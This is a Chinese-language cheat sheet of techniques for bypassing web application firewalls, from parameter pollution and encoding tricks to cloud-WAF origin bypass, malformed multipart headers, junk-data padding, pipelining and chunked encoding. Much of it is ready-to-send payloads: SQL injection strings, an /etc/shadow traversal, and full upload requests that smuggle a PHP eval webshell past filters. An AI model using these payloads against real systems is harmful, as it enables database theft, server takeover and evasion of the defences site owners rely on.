设备类型
由上到下,waf的检测细腻度依次降低
- 网络层WAF:先拦截流量,进行检测后再转发给
- 应用层WAF:先经过apache/nginx解析后再交给php处理
- 云 WAF(CDN+WAF):简单的看成CDN加上软件WAF的结合体,既可以抗住DDos攻击,也可以过滤出部分简单的Payload攻击代码,甚至对流量也有一定的清洗作用
- 自定义WAF(自己写的一些规则)在系统后台内置一项安全功能以便管理者使用
思路概览
那么由设备的一些特点,我们其实也就可以归纳出相关的一些绕过思路了.
性能负载
网络层
WAF的首要要求就是不会干扰到正常应用的运行,我们可以尝试大量的数据请求,来迫使WAF无法精细化检测.
解析差异
应用层
使用后端语言的特性,或者协议的模糊点.来实现WAF和应用程序对同一流量的不同解析结果编码绕过
架构漏洞
云WAF
利用厂商的网络配置或者网段设置进行绕过.
编码绕过
自定义正则
使用一些正则去匹配相关的恶意数据,我们使用一些畸形的数据去绕过.
请求场景
我们根据我们的实际实战的一个请求场景来进行相关手法的梳理.
通用手法
解析差异
http参数污染
由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成waf和后端的识别不同的错误。
?id=1&id=2&id=1' or '1'='1
Content-Type字符编码
为什么说是解析差异,因为WAF可能严格按照http协议来进行加密解密,但后端服务器却没有做任何的处理.
Content-Encoding编码
原理同上
Content-Encoding 是 HTTP 头部字段之一,用于指示对请求或响应主体数据进行的内容编码方式。它指示了服务器对实体主体进行了何种类型的编码,以便在传输过程中进行压缩或其他操作。
编码技术(编码绕过)
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4 ///大小写
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29 //url编码
../../etc/shadow混淆:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow //unicod混淆
union = uю%69яю //宽字节
内容溢出
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
OpenResty uri参数溢出漏洞
OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args获取参数,只能获取到前100个参数,当提交第101个参数时,uri参数溢出,无法正确获取到第101个及以后的参数
127.0.0.1/test?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9& id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
架构漏洞
源ip访问
当前多数云WAF架构,例如百度云加速、360安全卫士等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,liusscs.com接入接入WAF后,liusscs.comd的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
从云WAF架构考虑,如果HTTP请求都没有经过WAF集群直接到达源站,顺理成章bypass WAF。
利用同网段
一些在云服务商的站点,同时使用云服务商提供的WAF服务。当流量不是通过DNS解析引流到WAF,流量必须经过WAF的检测,这是不能通过发行源站进行绕过。可以考虑在云服务商买一台VPS,通过VPS攻击目标站点,因为流量是局域网,可能不经过WAF检测,实现绕过。能不能成功,关键在于云服务商的网络配置。
POST传参
可以使用Content-Type: multipart/form-data来传递参数.
文件上传
解析差异
这是一个文件上传的流量
解析差异
Content-Disposition
说到底还是解析差异的问题,我们使用一些畸形的Content-Disposition,来让waf无法识别出是文件上传.
Content-Disposition: "form-data"; name=file_x; filename="xx.php" //引号变换
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name="file_x"; filename="xx.php //;变换
Content-Disposition: form-data; name="file_x"; filename="xx.php;
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php" //使用换行符号
Content-Disposition: form-data; name="file_x";;; filename="test.php" //使用多个;;
Content-Disposition: form-data; name=="file_x"; filename===="test.php" //使用多个等号
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php" //变换Content-Disposition的值
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
boundary
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111 //大小变化
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111 //使用空格和逗号可以在之间添加任何字符
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111 //仅(PHP可行)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc //末尾直接使用逗号或分号隔开插入任何值
顺序交换
Content-Disposition: form-data; filename="xx.php"; name="file_x" //交换name和filename的顺序
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php" //交换Content-Disposition和Content-Type的顺序
boundary内容重复
这里其实就很类似于http参数污染了
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
数据截断
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"//使用换行
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"//使用分号
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"//使用00截断
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"//使用单引号,php<5.3 单双引号截断特性。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
性能负载
在不同的位置插入大量垃圾数据
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
其他特殊手法
pipline绕过
pip原理:http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该tcp连接或是断开.当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止.
绕过原理:数据包较大时,使用分段传输,waf可能只检测了第一个数据包,对后续的数据包位进行检测.
例:
进行此操作时,需要关闭自动填充Connect-Length
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
分块编码传输
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。
分块技术的意思是说,实体被分成许多的块,也就是应用层的数据,TCP在传送的过程中,不对它们做任何的解释,而是把应用层产生数据全部理解成二进制流,然后按照MSS的长度切成一分一分的,一股脑塞到tcp协议栈里面去,而具体这些二进制的数据如何做解释,需要应用层来完成。
通常,HTTP应答消息中发送的数据是整个发送的,Content-Length消息头字段表示数据的长度。数据的长度很重要,因为客户端需要知道哪里是应答消息的结束,以及后续应答消息的开始。然而,使用分块传输编码,数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。这在http协议中也是个常见的字段,用于http传送过程的分块技术,原因是http服务器响应的报文长度经常是不可预测的,使用Content-length的实体搜捕并不是总是管用
快速编码:bp插件chunked-coding-converter